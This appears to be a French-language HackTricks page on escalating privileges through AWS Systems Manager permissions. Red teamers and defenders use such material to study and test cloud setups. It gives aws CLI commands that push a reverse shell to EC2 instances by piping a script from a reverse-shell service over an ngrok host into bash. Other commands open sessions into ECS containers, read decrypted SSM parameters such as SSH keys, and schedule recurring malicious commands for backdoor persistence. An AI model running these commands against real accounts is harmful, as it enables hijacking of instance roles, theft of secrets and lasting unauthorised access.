AWS - SSM Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SSM
Pour plus d'informations sur SSM, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Un attaquant ayant la permission ssm:SendCommand
peut exécuter des commandes dans des instances exécutant l'agent Amazon SSM et compromettre le rôle IAM s'exécutant à l'intérieur.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Dans le cas où vous utilisez cette technique pour élever les privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impact potentiel : Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
ssm:StartSession
Un attaquant ayant la permission ssm:StartSession
peut démarrer une session similaire à SSH dans les instances exécutant l'agent Amazon SSM et compromettre le rôle IAM s'exécutant à l'intérieur.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Impact potentiel : Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
Privesc à ECS
Lorsque les tâches ECS s'exécutent avec ExecuteCommand
activé, les utilisateurs ayant suffisamment de permissions peuvent utiliser ecs execute-command
pour exécuter une commande à l'intérieur du conteneur.
Selon la documentation, cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “exec“ et le conteneur cible avec SSM Session Manager. (Le plugin SSM Session Manager est nécessaire pour que cela fonctionne)
Par conséquent, les utilisateurs avec ssm:StartSession
pourront obtenir un shell à l'intérieur des tâches ECS avec cette option activée en exécutant simplement :
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Impact potentiel : Privesc direct aux rôles ECS
IAM attachés aux tâches en cours d'exécution avec ExecuteCommand
activé.
ssm:ResumeSession
Un attaquant ayant la permission ssm:ResumeSession
peut re-démarrer une session similaire à SSH dans des instances exécutant l'agent Amazon SSM avec un état de session SSM déconnecté et compromettre le rôle IAM s'exécutant à l'intérieur.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impact potentiel : Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
Un attaquant avec les permissions mentionnées sera capable de lister les paramètres SSM et de les lire en texte clair. Dans ces paramètres, vous pouvez fréquemment trouver des informations sensibles telles que des clés SSH ou des clés API.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impact potentiel : Trouver des informations sensibles à l'intérieur des paramètres.
ssm:ListCommands
Un attaquant avec cette permission peut lister toutes les commandes envoyées et espérer trouver des informations sensibles à leur sujet.
aws ssm list-commands
Impact potentiel : Trouver des informations sensibles dans les lignes de commande.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
Un attaquant avec ces autorisations peut lister toutes les commandes envoyées et lire la sortie générée, espérant trouver des informations sensibles à ce sujet.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.
Utilisation de ssm:CreateAssociation
Un attaquant ayant la permission ssm:CreateAssociation
peut créer une association de gestion d'état pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles réguliers, les rendant adaptées à une persistance de type backdoor sans sessions interactives.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution et que l'attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites ssm:SendCommand. Important : Le paramètre --schedule-expression
(par exemple, rate(30 minutes)
) doit respecter l'intervalle minimum de 30 minutes d'AWS. Pour une exécution immédiate ou unique, omettez complètement --schedule-expression
— l'association s'exécutera une fois après sa création.
Codebuild
Vous pouvez également utiliser SSM pour accéder à un projet codebuild en cours de construction :
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.